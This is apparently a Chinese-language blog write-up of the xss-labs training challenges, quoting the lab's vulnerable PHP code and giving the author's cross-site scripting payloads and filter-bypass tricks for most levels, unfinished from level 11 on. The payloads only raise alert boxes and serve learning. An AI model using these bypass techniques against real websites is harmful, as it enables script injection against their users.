xss-labs 小结

xss-labs
。。。

level1

有个回显,那么替换成js代码。

<script>alert(‘xss’)</script>  
#alert是一个弹窗,所有的js代码都要放在<script>里面才会被当作js代码执行
  • 在控制台输入代码调用
    xss-labs 小结
<h2 align=center>欢迎用户test</h2>
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

服务器通过get方式将传递过来的name参数的值赋给了str变量,然后str变量直接插入了h2标签之中。

  • 其余的过关方式
    可以通过/<scr/ipt/>标签弹窗,可以通过标签里的onerror事件弹窗,可以通过javascript弹窗

level2

由于从url地址来看。想到还是上面的get方式传递参数。第一关一样,也是直接输出内容,但是输出的内容在一个文本框里面。so继续套娃,可惜并没有成功

level1 源代码
xss-labs 小结
对比,通过查看页面的源代码,发现传递的参数输出的位置

xss-labs 小结

注入的恶意代码的尖括号都被编码成了html字符实体?

既然被编码了,所以就要想办法让浏览器执行属性值中的恶意代码了啦,因为输出的位置在一大段文字中,只需要闭合前后将js标签调用出来就行了

`

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

用get方式传递到传递服务端keyword参数的值赋给str变量。
用htmlspecialchars()函数对变量str进行处理之后显示到网页上。
接着直接将变量值插入到了标签的value属性值中,因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击。

level3

失败…用input标签的属性值是不行了,两个位置都被实体化了。

因为<和>被转义,那么尝试直接用被转义后的实体内容带入呢?

反正还是不行
以下是搜的:

两处输出都对双引号、尖括号和&进行了HTML实体编码,但前面的单引号可以被闭合,考虑使用input标签的某些事件执行脚本。

但是输入点和输出点的异同我没发现

尝试输入单双引号、括号等,发现输入单引号时上面的h2会把输入的字符全部输出,而下面输入框却不会。如输入以下字符,h2标签会输出123’111,而输入框只剩下123

123'111

所以此题输出点不在前面的h2标签,而是在输入框input标签。插入Payload点击搜索,然后点击输入框

  • 以及
    ?keyword='onfocus=javascript:alert('xss') > //
    这个注入之后不会马上弹窗,只有当你选中输入框开始输入值时候才会触发。onfocus是javascript中在对象获得焦点时发生的事件。

level4

上源码

<h2 align=center>没有找到和&quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""scriptalert(1)/script"">

过滤:<>

尖括号被替换成空了,这样就没办法闭合标签,也没办法使用script标签或者img标签实现弹窗,

keyword=' onclick='alert(1)

level5

闭合形式:

<input name=keyword  value="xxx"> 双引号闭合

尝试输入下面的标签,检查过滤没

"
'
(aaa)
<aaa>
<script>
<onload>
<onerror>
adad:
alert
href
javascript

过滤有
script变成了scr_ipt,onerror变成了o_error

未过滤
",',(),<>,:,alert,href

script和标签事件没法用,这里使用
a标签触发javascript,搜索后点击超链接

双引号看要不要加吧
后面的< 加不加看着办

level6

双引号闭合
过滤:

onerror会变成o\_error,<script>会变成<scr_ipt>,<a href> 会变成<a hr_ef>

未过滤:

',",(),<>,:,javascript,alert,但是发现<SCRipt>不会被过滤

这里又不加双引号了

level7

双引号闭合

过滤:

<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:

未过滤:

alert(1) 不改变
'alert(1)' 不改变
"alert(1)" 不改变
所以,没有被过滤的有alert,(),<>,',"

参考思路:
多输入一个s,输入成ssrc,结果查看源代码发现src被替换成空,但是s还留下了。
构造:

"><sscriptcript>alert(1)</sscriptcript>

level8

双引号闭合
过滤:

    <script> 变成了 &lt;script&gt;
    <a href> 变成了 &lt;a href&gt;
    <img src> 变成了 &lt;img src&gt;
    alert("aaa")  变成了 alert(&quot;aaa&quot;)

    所以过滤了:<>,"

未过滤:

    one rror 变成了 one rror
    javascript: 变成了 javascript:
    alert(1) 变成了  alert(1)
    alert('a') 变成了 alert('a')

    未过滤:onerror,alert,(),script,href,src,javascript:

又尝试了友链。发现换来换去只有

   alert(1) 变成了 alert(1)
    <>没有被过滤
    ' 没有过滤

找参考

使用javaScript变换(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)的办法绕过,这里必须在浏览器直接执行

这不用加 a href ,代码有

输出点是友链,输入框那里双引号被屏蔽了,所以入手友链

level9

虽然与第八关差不多,还是没思路
吐血(艹皿艹 )
没有输入http://会报错
居然还是第八关引入的参考

?keyword=javas%09cript:alert('http://')
?keyword=javas%0acript:alert('http://')
?keyword=javas%0dcript:alert('http://')

level10

过滤:

    <script> 变成了 script
    <a href> 变成了 a href
    <img src> 变成了 img src

    过滤了<>

未过滤:

    alert('1') 变成了  alert('1')
    alert("1")  变成了  alert("1")
    javascript:  变成了 javascript:
    onclikc  变成了onclick

    未过滤',",(),script,a href,img src,javascript:

有点击事件,但是没有输出。(使用autofocus和onfocus自动聚焦触发,但是发现有时候不能触发,或者触发了后会一直弹框而不能正常跳转)

但是可以添加输入框和按钮
比如这样:

<input name="t_sort"  value="xx type=button" type="hidden">

<input name="t_sort"  value="xx type=text" type="hidden">

这叫用type属性将该输入框变成button,覆盖掉原有的hidden隐藏属性,并使用onclick事件触发

level 11

按照上面的经验。绕过双引号无果后放弃,寻找其他注入点
多的那个t_ref ,输入url参数无效
先放

level 12

上一篇:sqli-labs (less-58)


下一篇:sqli-labs (less-44)